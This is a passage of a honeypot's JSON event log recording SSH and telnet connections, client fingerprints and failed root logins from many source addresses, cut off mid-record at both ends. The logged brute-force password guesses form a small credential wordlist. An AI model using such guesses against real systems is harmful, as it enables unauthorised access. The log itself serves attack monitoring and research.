28-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:16.883278Z","src_ip":"158.178.141.16","session":"5afd594af71d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"System@123","message":"login attempt [root/System@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:17.748079Z","src_ip":"158.178.141.16","session":"5afd594af71d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:18.960579Z","src_ip":"158.178.141.16","session":"5afd594af71d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41834,"dst_ip":"10.17.0.5","dst_port":23,"session":"22c7f1fbb69e","protocol":"telnet","message":"New connection: 192.119.13.58:41834 (10.17.0.5:23) [session: 22c7f1fbb69e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:25.495806Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":59746,"dst_ip":"159.203.135.109","dst_port":22,"session":"4656b1df4345","protocol":"ssh","message":"New connection: 147.45.199.80:59746 (159.203.135.109:22) [session: 4656b1df4345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:28.011660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:28.016972Z","src_ip":"147.45.199.80","session":"4656b1df4345","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:28.118793Z","src_ip":"147.45.199.80","session":"4656b1df4345","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"morozova","message":"login attempt [root/morozova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:28.405494Z","src_ip":"147.45.199.80","session":"4656b1df4345","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:29.504510Z","src_ip":"147.45.199.80","session":"4656b1df4345","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.19797348976135,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:32.297407Z","src_ip":"192.119.13.58","session":"955c8d225397","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45316,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac4752bc33b4","protocol":"telnet","message":"New connection: 192.119.13.58:45316 (10.17.0.5:23) [session: ac4752bc33b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:34.066036Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":55034,"dst_ip":"10.17.0.5","dst_port":22,"session":"358b2724570e","protocol":"ssh","message":"New connection: 194.113.233.25:55034 (10.17.0.5:22) [session: 358b2724570e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:41.509107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:41.513577Z","src_ip":"194.113.233.25","session":"358b2724570e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:41.606299Z","src_ip":"194.113.233.25","session":"358b2724570e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qawsedrf","message":"login attempt [root/qawsedrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:41.887537Z","src_ip":"194.113.233.25","session":"358b2724570e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:42.983484Z","src_ip":"194.113.233.25","session":"358b2724570e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42220,"dst_ip":"10.17.0.5","dst_port":23,"session":"f560fda1ed70","protocol":"telnet","message":"New connection: 192.119.13.58:42220 (10.17.0.5:23) [session: f560fda1ed70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:49.685206Z"}
{"eventid":"cowrie.session.closed","duration":46.39870738983154,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:52.949221Z","src_ip":"192.119.13.58","session":"4752ea052597","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":35234,"dst_ip":"10.17.0.5","dst_port":22,"session":"e55f5f01273f","protocol":"ssh","message":"New connection: 103.27.238.114:35234 (10.17.0.5:22) [session: e55f5f01273f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:55.379900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:55.389651Z","src_ip":"103.27.238.114","session":"e55f5f01273f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:55.669634Z","src_ip":"103.27.238.114","session":"e55f5f01273f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqq123","message":"login attempt [root/qqq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:56.508915Z","src_ip":"103.27.238.114","session":"e55f5f01273f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:57.793091Z","src_ip":"103.27.238.114","session":"e55f5f01273f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":14678,"dst_ip":"159.203.135.109","dst_port":22,"session":"01c7dbd0fe07","protocol":"ssh","message":"New connection: 158.178.141.16:14678 (159.203.135.109:22) [session: 01c7dbd0fe07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:59.990071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:29:59.994893Z","src_ip":"158.178.141.16","session":"01c7dbd0fe07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:30:00.207351Z","src_ip":"158.178.141.16","session":"01c7dbd0fe07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.45664715766907,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:30:00.952346Z","src_ip":"192.119.13.58","session":"22c7f1fbb69e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456789.","message":"login attempt [root/A123456789.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:30:01.085228Z","src_ip":"158.178.141.16","session":"01c7dbd0fe07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:30:02.303964Z","src_ip":"158.178.141.16","session":"01c7dbd0fe07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36944,"dst_ip":"10.17.0.5","dst_port":23,"session":"ace4c66346f8","protocol":"telnet","message":"New connection: 192.119.13.58:36944 (10.17.0.5:23) [session: ace4c66346f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:30:10.719909Z"}
{"eventid":"cowrie.session.closed","duration":44.402610540390015,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:30:18.468523Z","src_ip":"192.119.13.58","session":"ac4752bc33b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44576,"dst_ip":"10.17.0.5","dst_port":23,"session":"c24e377216ff","protocol":"telnet","message":"New connection: 192.119.13.58:44576 (10.17.0.5:23) [session: c24e377216ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:30:20.214210Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.175.61.207","src_port":34388,"dst_ip":"10.17.0.5","dst_port":22,"session":"738bf9276b29","protocol":"ssh","message":"New connection: 200.175.61.207:34388 (10.17.0.5:22) [session: 738bf9276b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:30:22.428242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:30:22.433985Z","src_ip":"200.175.61.207","session":"738bf9276b29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:30:22.577619Z","src_ip":"200.175.61.207","session":"738bf9276b29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jamal","message":"login attempt [root/jamal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:30:23.181441Z","src_ip":"200.175.61.207","session":"738bf9276b29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:30:24.328280Z","src_ip":"200.175.61.207","session":"738bf9276b29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.81082034111023,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:30:27.495944Z","src_ip":"192.119.13.58","session":"f560fda1ed70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":33964,"dst_ip":"159.203.135.109","dst_port":23,"session":"3320ca1738db","protocol":"telnet","message":"New connection: 186.195.16.41:33964 (159.203.135.109:23) [session: 3320ca1738db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:30:28.878223Z"}
{"eventid":"cowrie.session.closed","duration":2.3787670135498047,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:30:31.256797Z","src_ip":"186.195.16.41","session":"3320ca1738db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"158.178.141.16","src_port":47126,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8b55f299f91","protocol":"ssh","message":"New connection: 158.178.141.16:47126 (159.203.135.109:22) [session: a8b55f299f91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:30:43.681045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:30:43.685730Z","src_ip":"158.178.141.16","session":"a8b55f299f91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:30:43.904256Z","src_ip":"158.178.141.16","session":"a8b55f299f91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"777","message":"login attempt [root/777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:30:44.779543Z","src_ip":"158.178.141.16","session":"a8b55f299f91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:30:45.995275Z","src_ip":"158.178.141.16","session":"a8b55f299f91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.63101148605347,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:30:48.350784Z","src_ip":"192.119.13.58","session":"ace4c66346f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.09198498725891,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:30:52.306047Z","src_ip":"192.119.13.58","session":"c24e377216ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":34398,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d0435df47a2","protocol":"ssh","message":"New connection: 103.98.149.87:34398 (159.203.135.109:22) [session: 2d0435df47a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:31:16.852840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:31:16.992525Z","src_ip":"103.98.149.87","session":"2d0435df47a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 